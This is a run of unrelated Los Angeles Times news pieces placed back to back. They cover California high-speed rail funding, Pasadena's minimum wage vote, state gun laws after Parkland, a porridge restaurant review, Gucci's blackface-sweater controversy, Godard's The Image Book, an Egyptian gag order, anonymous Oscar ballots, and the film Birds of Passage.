If the state does finalize those reviews, it would open the window to environmental lawsuits. So far, the rail authority has finalized only two environmental documents for the Central Valley and has faced about a dozen lawsuits that have dragged on for years. In Los Angeles, the state might see a litigation explosion. The environmental documents also specify an exact route for the rail line, meaning the land value for thousands of homeowners and businesses would be put under a cloud, even though the state would have no plan to build the system.

The other major risk the state faces is running out of money, even with the truncated project. The state can count on about $18 billion in funding from bonds, grants and greenhouse-gas fees.

The states 2018 business plan calls for building 119 miles of rail from Madera to Wasco for $10.6 billion, but Newsom said he wants the rail line to run from Merced to Bakersfield. The Bakersfield extension alone would add more than $2 billion and the Merced extension another $2 billion. Those two additions alone take the project to $15 billion.

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The state also has committed to paying more than $700 million to electrify the Caltrain commuter line from San Jose to San Francisco, $500 million to modernize Los Angeles Union Station and other local grants for station planning and community development.

To start a bullet train service, the state would have to build a massive heavy maintenance facility in the Central Valley, buy electrically powered trains, pay for electrical transmission lines in some sections where the power is in short supply and construct train stations.

Absolutely, they could run out of money, said William Grindley, a rail opponent and a retired World Bank executive in the Bay Area who has written a series of analyses of the challenges facing the project.

ralph.vartabedian@latimes.com

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Follow me on Twitter @rvartabedianThe Pasadena Rose Queen had a big high school physics project due Tuesday morning, so she hoped to get out of Monday nights City Council meeting early.

This did not happen.

The debate about how fast to roll out a minimum wage increase in Pasadena drew an overflow crowd of dueling economists, local business owners and workers, most of whom seemed to have more to say than could fit in the councils loosely enforced one-minute speaking limit.

Queen Louise Deser Siskel sat in the rear of the room, keeping one eye on the proceedings and the other on her laptop, as she worked on her paper about what could be done to save our hides if a giant asteroid were about to collide with Earth.

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Finally, nearly three hours into the meeting, Siskels name was called, and heads turned.

I wonder if shes on our side, said a woman who held a sign calling for a $15 hourly minimum wage.

In the long and proud history of the Tournament of Roses, political activism was not generally something expected of the queen. But Siskel, the 101st young woman to wear the crown, has begun the royal courts second century on a different path. As she noted in an op-ed piece for The Times, she is Jewish, she wears glasses, she is bisexual, and she wants to speak up for diversity, inclusion and scientific literacy.

While Pasadena is an extraordinarily prosperous city, Siskel told the City Council, it also has the highest income inequality ratio of any major city. She added: Ensuring that anyone in our city can earn a living wage is truly an issue of equity.

The issue before the City Council was not whether to raise the minimum wage, but how fast. Pasadena, Los Angeles and Santa Monica all put themselves on a fast track to gradually raise their minimum hourly wage to $15 by mid-2020, even though the state wont hit that mark until 18 months later.

In Pasadena, the question was whether to stick with the schedule and bump pay from the current $13.25 to $14.25 an hour this July for companies with more than 25 employees.

The city commissioned two studies on the impact of staying the course, and unsurprisingly, two economists arrived at different conclusions.

Dozens of people hold signs advocating for an accelerated planned increase of the minimum wage at the Pasadena City Council meeting. (Robert Gauthier / Los Angeles Times)

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UCLAs Ed Leamer concluded the city could lose jobs if employers are forced to pay $15 an hour 18 months before the state requires that pay scale.

UC Berkeleys Michael Reich forecast no such downside.

There were no fisticuffs, but the two economists, both of whom testified Monday, did share verbal jabs.

Im not an economist, but it seems to me that when we debate the pros and cons of raising the minimum wage, were missing the bigger picture. For all the talk of boom times, the economy is broken for those not at the top of the heap, and figuring out how much and how quickly to raise the minimum wage a buck or two doesnt address the bigger concern  namely, will we ever see a return of middle-income wages?

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Im reminded of the Boeing employees in Long Beach who had $40-an-hour jobs until the assembly line shut down in 2015, then discovered it was nearly impossible to find anything that paid $15 an hour or more.

Its hard to live on that in California. But until a new economy is invented, there arent a lot of options beyond raising the minimum wage.

Employers, however, do not appreciate being told how much they have to pay, or can afford to pay, and many of them are struggling, too. The owners of several popular restaurants stepped to the podium Monday night to ask the council to slow the rate of future pay bumps.

Armen Shirvanian of Mi Piace said a plate of pasta that cost $15 in 2015 is now up to $18.70 at his Colorado Boulevard restaurant, and his staff has been trimmed from 88 to 72 in that time, something he blames on the rising minimum wage.

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With each increase weve had to cut hours, weve eliminated positions and weve raised prices, said Bob Harris, owner of Green Street Restaurant. Even though our staff members are making more per hour, theyre working fewer hours.

R-Lene Mijares de Lang, owner of two popular restaurants, spoke of her familys 99-year-old business and its new challenges. She said 16 Mijares employees have been let go, and one of the two restaurants might be shuttered for good.

But while the owners had their take on the impact of wage increases, so did those who said that when youre on the bottom rung, its hard to hang on.

A $1.75 increase may look like a drop in the bucket, said Cameron Hughes, a restaurant employee, referencing the proposed increase by 2020. However to those of us in the working class, an increase even in the smallest increment represents...more food on my table and the ability to better afford my rent and possibly more. Its my work and the work of others in this city that generates the profits for businesses. We keep this city running. We want to live and work and spend our money here.

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Queen Louise, by the way, had told me earlier in the day that as part of her royal duties, she met with and spoke to more than 100 local organizations, many of which are devoted to serving those in need. She said she did her homework on the minimum wage, reading the reports presented by the two economists.

She noted that neither report found evidence of significant job losses after the last wage hike to $13.25, and she pointed out that Pasadena was in line with Los Angeles rather than acting unilaterally.

Siskel was already home, touching up her proposal on how to zap an incoming asteroid, when the City Council finally voted Monday night.

The outcome was in doubt until the last minute of a long evening, and supporters of the quicker wage increase were hoping, wishing, praying they might squeeze out a slim, one-vote victory in a city where business interests have historically held sway.

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Maybe the queens bold break with tradition was contagious.

By a 7-to-1 vote, the City Council sided with the queens royal subjects, and Pasadena will take the fast track to $15 an hour.

Get more of Steve Lopezs work and follow him on Twitter @LATstevelopezThe shooting last Valentines Day at Marjory Stoneman Douglas High School in Parkland, Fla., prompted a wave of student and parent activism for stricter gun laws not seen after previous massacres.

The pressure succeeded in Republican-dominated Florida, which passed a package of gun-control laws within weeks. The legislation raised the gun-buying age to 21, imposed a three-day waiting period for purchases and authorized police to seek court orders seizing guns from individuals who are deemed threatening.

But the policy response to the shooting was mixed in other states throughout the year. Only Vermont, a state with a Democratic legislature and Republican governor, followed Floridas lead by approving comprehensive gun-control legislation.

In all, 40 states passed some kind of legislation related to firearms in 2018, either imposing restrictions or expanding gun rights

(Chris Keller / Los Angeles Times)

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Some states also enacted laws banning bump stocks, the rapid-fire devices used in the 2017 massacre on the Las Vegas Strip that killed 58.

Nine states adopted bans on bump stocks

(Chris Keller / Los Angeles Times)

Several states inspired by the Parkland tragedy passed red flag laws, bringing to 14 the total number of states that allow gun seizures in certain circumstances. They allow police or household members to petition courts to temporarily take guns from individuals who are showing signs of violence. Floridas gun-seizure law already has been used hundreds of time.

Eight states passed new red-flag laws

(Chris Keller / Los Angeles Times)

The Parkland shooting did slow momentum for bills that expanded gun rights, but lawmakers in several states nonetheless passed several such measures. They widened the definition of who could legally carry a weapon in public; allowed more concealed weapons in schools, churches and government buildings; and strengthened legal protections for people who claimed they shot someone in self-defense.

Five states expanded Stand Your Ground laws

(Chris Keller / Los Angeles Times)

Six states took no action; four did not hold a legislative session

(Chris Keller / Los Angeles Times)

Advocates are hoping the gains made by Democrats last year in state legislatures and governors offices will give their gun-control efforts a boost in the coming years.The word porridge means something different to everyone, conjuring bowls full of soupy spoon foods from every curve of the globe. At her Historic Filipinotown restaurant Porridge + Puffs, Minh Phan begins her interpretation with a strain of white rice from Central Californias Koda Farms, a medium-grained variety called Kokuho Rose. Phan likes its starchy qualities, the way it self-creates a creaminess similar to arborio as it cooks. She simmers batches with various aromatics and lets the flavors meld overnight.

Phans porridge base is her primed canvas, a fresh page, the staves on sheet music awaiting clefs and key signatures. She reveals herself to be a meticulous, deliberate creator.

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Heres how one finished oeuvre, Poultry and Mushrooms, turns out: The porridge soothes with a risotto-like consistency; it blankets a layer of ground turkey, spiked with salty-sweet soy sauce, spread across the bottom of a wide-lipped bowl. On top rest strips of boiled chicken and sliced mushrooms (usually woodear and shiitakes), tangled in their shades of beige and russet. Garnishes pop: pickled celery, frizzled shallots, a small hill of chopped green onions. On one level this is chicken and rice, pure and universal in its appeal. But there is enough tension and depth and contrast stacked in every bite that, thrillingly, I never just relax into mindless succor eating it.

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That kind of subtle alchemy characterizes much of Phans menu, though it can take a leap of faith to appreciate those intricacies. There may be no modern Los Angeles restaurant with a more literal name than Porridge + Puffs. Its the indy chef equivalent of a fast food chain calling itself Burger and Fries. The twee, alliterative duo sound like affected comfort foods, which belies the intricacies that define Phans cooking.

Soft egg is a worthy optional addition to the poultry and mushroom porridge. (Mariah Tauger / Los Angeles Times)

Puffs are Phans term for deep-fried sticks of dough, resembling churros or, even more closely, youtiao, the Chinese crullers often served with congee or bowls of warmed soy milk for breakfast. The addition of rice flour gives them a wonderfully stretchy sort of lightness. Ordered plain, they act as vehicles for dipping; dusted with cardamom sugar, they are beignets as batons for dessert, meant for swiping through cream flavored with either coffee or jasmine tea.

As for the porridges: the poultry-mushroom combo stays put on the menu. Every other iteration rotates with some frequency; Phan is as mercurial in her creativity as she is in her career. This is her first permanent home for Porridge + Puffs. The idea came to life in 2014 as a dinner pop-up inside her all-day Hollywood restaurant Field Trip, which she closed in 2015. In between travels and the occasional local dinner series, she kept promising her growing fan base a bricks-and-mortar location.

It finally materialized last August in a whitewashed brick building along Beverly Boulevard situated for optimum midafternoon sunlight. Thats important. Porridge + Puffs currently serves dinner only on Thursday, Friday and Saturday; it might seem intuitive that given the restaurants specialty Phan would serve breakfast, but she says she doesnt currently have the staff. Right now, then, this is fundamentally a restaurant for lunch and Sunday brunch  and a quiet version of those meals at that. Lines dont trail out the door. Cheerful, burbling groups gather under a collage of dried herbs and flowers that billows across one wall; solo diners congregate at the long communal table.

Chef-owner Minh Phan in Porridge + Puffs kitchen window. (Mariah Tauger / Los Angeles Times)

This place isnt for everyone. Ive dined with friends who are transported by the fastidiousness of Phans cooking and others who shrug, not at all moved by bowls of mush with stuff on top. The notion of a divisive, polarizing porridge restaurant says as much about our spectrum of tastes as it does about the thriving niche microcosms of Los Angeles dining culture.

Count me among the believers, though I like to pre-game porridge with something bright and crisp. The menu has two small, on-point starters: slaw tossed with basil, shiso and rau ram, and a cup full of pickled cucumbers, seaweed and citrus. They can be consumed slowly over the course of a meal, acting as palate cleansers.

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A porridge to celebrate the Lunar New Year includes scallops. (Mariah Tauger / Los Angeles Times)

Porridge variations number only four or five on any given day. There will be a weather-appropriate option: For the recent rainy weather, a baked porridge warmed and invigorated: it layered gochujang bechamel and sharp beet and radish greens with melted Armenian string cheese. One number with black-eyed pea miso and braised pork sausage with Sichuan peppercorns delivered welcome aggressive flavors. The Velvet  a mix of winter squashes and browned butter blended into the rice, with tiny herb mochis poached in duck stock  struck the richest chords. These all come from the same stock, but they each have wildly divergent personalities.

Ill keep returning to see how Phans thoughtful penchant for complexity plays out in her compositions. The restaurant helps fill a spiritual void left by recently closed Baroo, where chef Kwang Uh exercised a similar acuity for layering fermentation and experimentation. Porridge is an amorphous word, but Phan doesnt have to attach to a concept like congee or juk or atole or even cereal to give her food form and meaning. Commanding the dish as a pursuit of mastery is definition enough.

A collage of dried herbs and flowers adorns one wall of the dining room. (Mariah Tauger / Los Angeles Times)

AdvertisementGucci President and Chief Executive Officer Marco Bizzarri isnt one to shy away from problem-solving. Nor from admitting a mistake.

Last week, the Italian luxury brand faced accusations that a balaclava-style sweater available on its online shop and physical stores evoked blackface and Gucci issued a statement on Thursday through its Twitter account reading, We consider diversity to be a fundamental value to be fully upheld, respected and at the forefront of every decision we make. The brand pulled the sweater from physical and online stores.

But the controversy has continued to rumble on. This week, Guccis collaborator Dapper Dan did not mince words in a Twitter and Instagram post saying: I am a black man before I am a brand. Another fashion house has gotten it outrageously wrong. There is no excuse nor apology that can erase this kind of insult. The ceo of Gucci has agreed to come from Italy to Harlem this week to meet with me, along with members of the community and other industry leaders. There cannot be inclusivity without accountability. I will hold everyone accountable.

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On Tuesday, creative director Alessandro Michele also broke his silence in a letter addressed to Guccis colleagues, expressing the pain of these days: my own and that of the people who saw in one of my creative projects an intolerable insult. Its important for me to let you know that the jumper actually had very specific references, completely different from what was ascribed instead. It was a tribute to Leigh Bowery, to his camouflage art, to his ability to challenge the bourgeois conventions and conformism, to his eccentricity as a performer, to his extraordinary vocation to masquerade meant as a hymn to freedom.

The fact that, contrarily to my intentions, that turtleneck jumper evoked a racist imagery causes me the greatest grief, Michele added. But I am aware that sometimes our actions can end up with causing unintentional effects. It is therefore necessary taking full accountability for these effects.

Michele said that through his work he wanted to give citizenships right to the traditionally marginalized, to those who felt unrepresented, to those that history silenced or made believe they were worthless. My aim, in which personal and political are intimately interwoven, has always been to turn the pain into a chant.

In the letter, which he sent to all of Guccis 18,000 employees from his personal e-mail address, Michele concluded: I really shelter the suffer of all I have offended. And I am heartfully sorry for this hurt. I hope I can rely on the understanding of those who know me and can acknowledge the constant tension toward the celebration of diversity that has always shaped my work. This is the only celebration Im willing to stand for.

Here, Bizzarri talks exclusively with WWD about the controversy, his personal involvement palpable, as he urges an open dialogue to generate cultural change and accelerate an improvement. He offered no excuses and it was clear how serious all this is for him and for Gucci. Aware there is more work to do, learning and spreading the knowledge are key for the executive so that this will not happen again.

You and Alessandro have worked on projects of inclusivity and diversity so this seems totally out of sync with your beliefs. The question many may be asking is, How could this have happened? How would you respond to this? What is the process in giving the green light to a look? Did something go amiss in that pipeline?

This is due to the ignorance of this matter. Certainly, it was not intentional but this is not an excuse. We make mistakes, and certain are worse than others because they offend people. The lack of knowledge of diversity and the consequent understanding are not at the level we expected, despite all the efforts we did inside the company in the last four years.

We are evaluating all the processes now to make sure the right level of awareness and visibility inform the process. In this case, it was a lack of knowledge.

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What are the steps you want to take to better understand what happened and how would you amend the situation?

The first thing is to better understand, internally, the specific issue. I had the chance to be in the U.S. in these days for a trip that was planned in advance for a conference this week [at The New Schools Parsons School of Design], so I could talk directly to people in the shops, people from all the communities, and to grasp the depths of the problem that in my eyes, coming both from a different culture and a different country, was not particularly clear, even when it was raised.

In talking to my team in America, visiting different cities over the last week and reading about the issue, I realized how deep it is for the community in general, but also for our employees. Because our company, being a global company, is a mirror of society. The need for greater awareness and understanding is everywhere. The risk we could face is that anyone would not take this matter as serious as it is. We need to educate ourselves to make sure this does not happen again.

First, we want to fix the topic in our community  it is the thing we can control the best. Gucci is a family and our behaviors need to reflect that. We are promptly sharing these views and understanding with all our teams, to make sure anyone of our community in the shops and at corporate understand the importance of this topic. And that they have the ability to recognize, and the voice to share concern if something similar happens again. We want to foster the respect and trust to allow our people to participate and to be part of the conversation  and the solution.

For the external approach, we will move quick. Ideally by the end of this week, we will announce a full program of scholarships in major cities, such as New York, Nairobi, Tokyo, Beijing, Seoul, which will facilitate an increase of different communities within the creative office. I will also be discussing these important initiatives with leaders from different communities in order to develop a constructive and appropriate framework. I dont want to be divided, I want to invite everyone to join us.

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Dapper Dan spoke of a possible meeting with you in New York. Is this happening? When? What do you have in mind?

Yes, he is one of those leaders. But there are many other people who know who we are and what we stand for who have offered to join us to create more positive change. With Dapper Dan, we had a transparent conversation. Lets see how things evolve. We are very keen in listening to how we can improve and to have an honest conversation with those who recognize the willingness to improve and make things better. And to discuss and go through issues together is the answer. I dont want to live my life in a divided world, but in one where there is understanding and respect of differences.

Miuccia Prada spoke last month of the difficulties in knowing and understanding so many different cultures around the world. How do you think this could be overcome? Observers point out that fashion houses should be more diverse in terms of team members. Do you agree? Are you seeking to add greater diversity to your team to avoid these types of situations?

The need for understanding is everywhere  we need to work to improve this. From the very start in 2015, all that we have stood for and all that we have achieved on a daily basis has been driven by these values and has been defining this chapter for our brand. Above all, respect for others, celebrating diversity through inclusivity and with creativity at the heart of everything we do. We have created a shared corporate culture that makes us unique.

Considering we are a company based in Italy, we have to work even harder to make sure there are clear pathways for a global representation in our worldwide teams  and also in the regions. Alessandro has always shown that our differences are what inspires our creativity, and what characterizes us. Changing behavior, changing culture takes time. Even if we thought we were in a good position, we realize we have more work to do and we have to move faster.

Given how sensitive people are and the need for everyone to be so politically correct, are these types of situations almost unavoidable?

We live in a world where social media creates an immediate and transparent dialogue with everyone. We embrace this because it allows us to express more naturally who we are. But there are issues that come with being so present and real in the world, and in order to mitigate these risks, the only way is to create more knowledge and understanding. And to engage with all the communities in a sincere and transparent way.The Image Book is an 85-minute cinematic brainstorm, a swirling, dazzling, maddening frenzy of disconnected sights and sounds that have been compiled and arranged according to a rhythmic and rhetorical logic that only its maker can fully divine. Thats a roundabout way of saying its a new movie by Jean-Luc Godard, the 88-year-old Swiss-born filmmaker-philosopher-essayist still fondly remembered as one of the last standing pillars of the French New Wave.

It has, of course, been several decades and many more movies since the celluloid-era glories of Breathless, Masculin Feminin and Weekend, and these days Godard is more often appreciated  or not  as an endlessly elusive (and allusive) cine-crank, an artistic giant who has moved past radical experimentation into a realm of stubborn, gnomic inscrutability. Those with no interest in his post-1968 body of work will know precisely what to do, or not to do, with The Image Book. Those willing to brave its pleasures and frustrations  and they are not always easy to tell apart  will find themselves in for the most intoxicating kind of bafflement.

Like a micro-spinoff from his epic Histoire(s) du Cinema (1989-99), The Image Book is a free-associative collage that spins its own historical and cultural counter-narrative from pre-existing movies, paintings, photographs and texts. Silent-era landmarks like The General jostle for attention alongside Michael Bay; Hollywood classics like Jaws bleed into documentary footage from todays bloodiest front lines. Individual fragments lodge in your memory: a teenager on a shooting spree in Gus Van Sants Elephant, a horrific spectacle of degradation in Pier Paolo Pasolinis Salo, or the 120 Days of Sodom, a conflagration from Godards own apocalyptic Weekend.

The relentless montage is laced with Godards familiar end-of-civilization motifs: the futility of language, the dissolution of meaning, the evils of capitalism and the horrors of war in Europe and beyond, this time with a particular emphasis on the Middle East. The apocalypse is here, Godard seems to be saying (not for the first time), and the doomsday spectacle that awaits us is not the Rapture so much as the Rupture.

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No other filmmaker revels so freely in the aesthetic possibilities of discontinuity and decay. Sounds and title cards drop in and out; aspect ratios shift at will; individual clips appear to have been distressed, discolored, strobed, slowed down and otherwise warped almost beyond recognition. Stirring blasts of orchestral music intermingle with the loud pop of gunfire. Hovering over it all is Godards own raspy growl of a voice-over, a sound that is more arresting than it is illuminating, especially if your French is as shaky as mine. (Large chunks of his narration have been left unsubtitled.)

The Image Book divides into five chapters, and the fun of each one  and by fun, I mean hard work  comes from trying to follow Godard as he thinks his way through the material, a process that seems at least as manual as it is mental. The first chapter, titled Remakes, is a playful riff on destruction and renewal: We get the climactic explosion from Kiss Me Deadly and Jimmy Stewart diving into San Francisco Bay after Kim Novak in Vertigo. The second chapter, St. Petersburgs Evenings, launches from a dance ball in Sergei Bondarchuks War and Peace (1967) into a whirlwind of violence: shootings, impalings, burnings, bombings. Is what were looking at real or staged? Our confusion is entirely the point.

The third part, These Flowers Between the Rails, in the Confused Wind of Travels, rifles through the visual history of train travel, one of our great cinematic pastimes. More than once I found myself noting the visual similarity between a set of railway tracks and an unspooling film reel, though Godard pushes beyond that metaphor to consider the train as a bringer of death, a mechanism of war. The fourth chapter, The Spirit of Laws, features the inspiring sight of Henry Fonda in Young Mr. Lincoln, in mock counterpoint to scenes of utter lawlessness.

The fifth and longest chapter  which borrows its title from Michael Snows 1971 avant-garde landmark, La Region Centrale  shines a tinted spotlight on the Arab world. It weaves images from the long, interminable history of conflict in the Middle East  some from movies, some from ISIS videos  into a despairing screed on not just the inevitability of violence but also the unknowability of the truth.

The world is not interested in Arabs, the filmmaker drawls, though you may well wonder, based on this curious bombardment of images, if he is the ideal person to correct that sorry state of affairs. Godard, perplexed as always by ethical questions of representation and authorship, would ask the question himself. But that doesnt mean he would necessarily seek an answer. The Image Book is a meditation on not only the power of moving pictures but also their inadequacy, the way they betray the very history they seek to represent.

Early on Godard plays a scene from Nicholas Rays great 1954 western Johnny Guitar, in which Sterling Hayden urges Joan Crawford to tell him she still loves him, whether she means it or not: Lie to me, he urges. Its a moment the filmmaker has quoted before, though never quite like this, truncating the exchange with a few brutal cuts to black. Does he still love this medium that once so captivated him, and whose boundaries he has done more than any other living filmmaker to explode? For the better part of a century the movies have lied and lied and lied to us, Godard says. But on the basis of The Image Book, that doesnt mean hes done with them yet.

------------

The Image Book

In French with some English subtitles

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Not rated

Running time: 1 hour, 25 minutes

Playing: Starts Feb. 15, Aero Theatre, Santa Monica

justin.chang@latimes.com | Twitter: @JustinCChangEgypts prosecutor-general Nabil Sadek has issued a gag order on media outlets covering a case involving the arrest of three women who were filmed having sex with prominent Egyptian film director and MP Khaled Youssef.

In a statement to the National Media Council, Sadek said that all media outlets  print, broadcast and online  are banned from covering the case until investigations are concluded.

Several videos were recently leaked online showing two young actresses and a businesswoman having sex with a man believed to be Youssef, who is currently in Paris, where his wife and his daughter reside.

The three women who appeared in the videos were arrested last week on charges of prostitution and inciting debauchery and obscenity online.

The prosecution has ordered that they be detained for 15 days pending investigations. The defendant's lawyers have denied the charges, saying their clients were all married to the director at the time the videos were filmed.

It is unclear how the videos were leaked.

On Tuesday, Sadek ordered the Ministry of Telecommunications and Information Technology to block websites hosting sexual or indecent content related to cases currently being investigated involving the Youssef.

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Oscar voting is underway, and academy members are busy balloting, replaying movies to freshen their memories and considering whether a vote for Roma in the foreign-language film category is enough or to go all in and mark it for best picture as well.

We asked academy members from four different branches  writer, actor, director, producer  to anonymously share their choices in the top eight categories. In some cases, they were still debating. But heres a snapshot of where theyre currently landing.

Rachel Weisz, left, and Olivia Colman in a scene from the film The Favourite. (Yorgos Lanthimos / Fox Searchlight)

WRITER, woman in her 30s

Picture: I debated between Black Panther and The Favourite, deciding on Black Panther. My best picture picks have always been based on movies that fill me up and stay with me on top of being technically well-made. I want a best picture winner to be a movie that took the most risks and that people enjoyed (a.k.a. went to see). I loved The Favourite but ultimately decided on Black Panther because it ticked every box for me and yet didnt feel like a movie designed for winning Oscars.

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Director: This was a tough one. I think that Alfonso Cuaron absolutely deserves the Oscar for Roma  it was so gorgeously shot, and as a writer I have so much respect for how he can tell a story with images. However, Spike Lee is Spike Lee. I try to base my opinions on the filmmakers current films, and I dont know if BlacKkKlansman is a better-directed movie than Roma, but I do know that Spike Lee has somehow never been nominated for director, and I want him to win for his consistent ability to move my world sideways with his storytelling.

Original Screenplay: The Favourite! What a terribly fun, inventive and gorgeous tale, efficiently told. And its a story that would normally involve two men and the queen  how refreshing that this movie went a different route.

Adapted Screenplay: I love the Coen brothers eternally, but something about Buster Scruggs being an anthology film kept me from voting for it. That might be ridiculous, but its true. Instead, Im going with If Beale Street Could Talk. Having read the source material recently, I was struck by how Barry Jenkins was able to convey the warmth, tone and detail of Baldwins words into his script.

Actress: I would be happy with any of these women winning, but my favorite performance was Olivia Colmans. Her ability to emote the endless pit of sorrow just underneath her frazzled demeanor broke my heart. Plus, I feel like best actress nominees never get to be funny, and, my God, was she funny.

Actor: Rami Malek. I was not a fan of Bohemian Rhapsody, but I was impressed with Maleks performance. If Christian Bale takes this, thats fine. Both men took on very physically altering roles, and both men did a good job with those roles. But one played a ferocious rock star with gusto and complexity that transcended the movie itself, so Im going to go with that one.

Supporting actress: Regina King. No question. Again, I loved all the performances in this category, but the scenes in Puerto Rico alone earned her this Oscar for me.

Supporting actor: Richard E. Grant is my choice in this very stacked category. Id be pleased with any of these actors winning, but Grants performance was moving and caustic and perfectly pitched, and I want him to be in every movie.

TChalla/Black Panther (Chadwick Boseman) and WKabi (Daniel Kaluuya) in Black Panther. (Marvel Studios)

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Oscar predictions: Our picks for who will win and who should win this year 

ACTOR, man in his 50s

Picture: Im going with Black Panther. It sounds bananas. I thought the popular film Oscar idea was absurd, and Im glad they got rid of that quickly. Ryan Coogler  to go from Fruitvale Station to this in five years is incredible. That whole production should be honored. I think it would be good for the industry, and I think it would be good for the academy. And if Bohemian Rhapsody wins, Ill quit the academy.

Director: If I could vote for Bradley Cooper, I would. I thought he got ripped off. So Pawel Pawlikowski [Cold War] is my choice.

Original screenplay: I voted for Ethan Hawke for actor. He should have slipped in. I loved him; I loved the movie. Its crazy that [First Reformed] is Paul Schraders first nomination. I hope he gets his due.

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Adapted screenplay: I lived in New York when that whole thing happened with Lee Israel, and Can You Ever Forgive Me? captures that great tale. Im also a big Nicole Holofcener fan. She just keeps turning out really great, interesting stuff. I think this is her best ever.

Actress: Olivia Colman, I think. Im partial to Glenn Close finally getting an award. But Im not a fan of the movie. Im a fan of her amazing performance. But the range Colman shows in The Favourite just covers all the bases. She gets to do everything in the emotional spectrum in that film.

Actor: Ive been going back and forth between Rami Malek and Christian Bale. Ive watched both films two or three times. Its so silly and arbitrary to say that Rami Maleks performance is better than, say, Bradley Cooper. Theyre all so individually fantastic. But I loved what Rami Malek did, and the work ethic he brought to it was extraordinary.

Supporting actress: I love Regina King. Shes always just been an underrated actor for me. She brings such strength to everything she does. Plus, I love If Beale Street Could Talk. I think its an underrated movie, and Id like to see it win something.

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Supporting actor: Richard Grant is fabulous in Can You Ever Forgive Me? And theres no bigger Withnail and I fan than I am. I just love seeing a comeback story.

Filmmaker Alfonso Cuaron, left, and actress Yalitza Aparicio on the set of Roma. (Carlos Somonte / Netflix)

Oscars: Watch the key scenes that helped these stars land nominations 

DIRECTOR, woman in her 40s

Picture: Alfonso Cuaron has made so many amazing movies, but I think Roma is his best. Its personal, its political and its a world you can lose yourself in repeatedly. Im glad its on Netflix. I know so many people whove seen it who otherwise would never have taken the plunge.

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Director: Again, Cuaron for all the same reasons.

Original screenplay: The Favourite. Its nasty. Its funny. It has a duck race. And it leaves you devastated.

Adapted screenplay: I could have easily voted for Spike Lee for director. That category is ridiculous. I feel good voting for him here too, because BlacKkKlansman has everything youd want from a Spike Lee movie  its provocative and thrilling and offers a window into the American experience, past and present.

Actress: Olivia Colman. All those things I said about The Favourite are there in Colmans acting. Its wonderful to see so many people discovering her with this movie.

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Actor: I think Willem Dafoe in At Eternitys Gate does something extraordinary. He makes you see how consumed Van Gogh was by his passion, by his art. Its the first Van Gogh movie I think thats truly made a case for the necessity of art.

Supporting actress: I came close to voting for the screenplay of If Beale Street Could Talk, so I feel moved to support Regina King here for her wonderful work in that movie.

Supporting actor: Richard E. Grant made me laugh, and he made me cry. That counts for a lot.

Stephan James as Fonny and KiKi Layne as Tish star in Barry Jenkins If Beale Street Could Talk. (Tatum Mangus / Annapurna Pictures)

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2019 Oscar roundtables: Watch every video interview 

PRODUCER, man in his 50s

Picture: Roma, for its delicacy and expertise in craft. [Forget] the Netflix theatrical argument. Im so sick of that discussion. Its just a super-well-crafted movie that deserves all the accolades. Thats a clear choice to me.

Director: Hands down, Cuaron has to win. Its a singular vision. I know hes been lauded already, but I dont care. He deserves this.

Original screenplay: I probably have to go with Roma, again, for that same kind of transformative emotion that I felt. Im a little bit of a purist. You cant get picture and best director without getting best words.

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Adapted screenplay: Hearing people speak on the original material and hearing Barry Jenkins speak about adapting it, Im leaning toward If Beale Street Could Talk for its specific transmutation.

Actress: Im probably spitting in the wind here, but Melissa McCarthy. Im a New Yorker, and I know that lonely person. And she just blew me away.

Actor: Im really fighting through two choices. I didnt like Vice. Im a big fan of Adam McKay, but I didnt think this was a well-built narrative. However, Christian Bale is transformative, and if you could separate a performance from a movie, its here. But Rami Malek  like Christian Bale, he personified this real person but also made it his own. Im leaning toward Rami because I appreciated the movie more.

Supporting actress: Im so confused. I almost dont have a choice  but Regina King will probably be it. The Favourite was fun, but Emma and Rachel  and I felt the same way about Amy  great scenes, for sure, but those performances came up short.

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Supporting actor: This is really hard. Again, because I love the movie, I was thinking of Richard E. Grant. But I think Im going with Adam Driver, who I think stole the movie as a supporting actor.

glenn.whipp@latimes.com

Twitter: @glennwhippFilms about narcotrafficking in Latin America often go something like this: A charismatic young man of limited economic means gets into the drug hustle and eventually comes to run a vast business empire. His ego gets the best of him and he dies in a hail of bullets. In between, there are lascivious shots of money, over-decorated homes and scantily clad women. If its a U.S.-made film, one of the central characters will be a DEA agent of generally good morals if questionable tactics. Roll credits. The End.

Now imagine a narco movie told as an epic about two families over a generation, in which indigenous tradition is ruthlessly shaped by outside forces and in which women play a defining role. In this world, dreams have currency and messages are delivered not by gun-toting sicarios, but by an elderly palabrero, or word messenger, who serves as the emissary between powerful clans.

Birds of Passage, the latest film from Colombian filmmakers Ciro Guerra and Cristina Gallego, takes the pat narrative of the typical drug-running movie and transforms it into a hallucinatory saga.

Birds of Passage directors Ciro Guerra and Cristina Gallego (Kent Nishimura / Los Angeles Times)

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Justin Chang on two Spanish-language dramas at Cannes: Everybody Knows and Birds of Passage 

The film, which was short-listed for this years foreign film Oscar and opens Friday in Los Angeles, contains not a single reference to the Colombian narcos of the popular imagination: no Pablo Escobar, no cocaine godmother Griselda Blanco, no Cali Cartel. Instead, the focus is on how the early marijuana smuggling trade of the 1960s and 70s reshaped the lives of the Wayuu, an indigenous ethnicity from La Guajira, a remote desert region in the north that is as arid as it is literary. (The family of Nobel laureate Gabriel Garcia Marquez is from the vicinity.)

Birds of Passage, in fact, actively counters the ways Hollywood has often glorified the drug trade with cinematic yarns about charming anti-heroes.

This history of narcotrafficking is the history of the destruction of our society, of the moral foundations of a society, says Guerra. For us, Birds of Passage was a way for us to tell that story  not the one in which someone gets rich and glamorous.

In the process, it reimagines the types of narratives that could be deployed to tell such a tale.

Gangster films have been made for a long time, and there are histories and themes that get repeated, says Gallego. We felt that the setting of La Guajira and the world of the Wayuu gave us an opportunity to tell this story in a different way, subverting the genre in the process  a genre that has been very macho, a genre that has been very much of and about men.

Jose Acosta (as Rapayet) and Natalia Reyes (as Zaida) as the young couple at the heart of Birds of Passage. (Mateo Contreras / The Orchard)

ALSO: Ciro Guerra on his Oscar-nominated Amazon fable Embrace of the Serpent 

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Birds of Passage is probably the only narco movie to begin with a Wayuu rite that marks a young womans coming of age. In that mesmerizing scene, Zaida, played by Natalia Reyes, dances with a young suitor named Rapayet (played by Jose Acosta)  her billowing red wrap a bright splash of color against a canvas of cracked earth.

It is an ambitious movie from a pair of ambitious filmmakers.

Guerra nabbed an Academy Award nomination for foreign language film in 2016 for his hallucinatory Embrace of the Serpent, which turned the tired trope of the jungle exploration picture into an examination of the survival and loss of indigenous identity in the Amazon. He is also knee-deep in post-production for his first English-language movie, Waiting for the Barbarians, based on the novel by J.M. Coetzee, starring Johnny Depp and Mark Rylance.

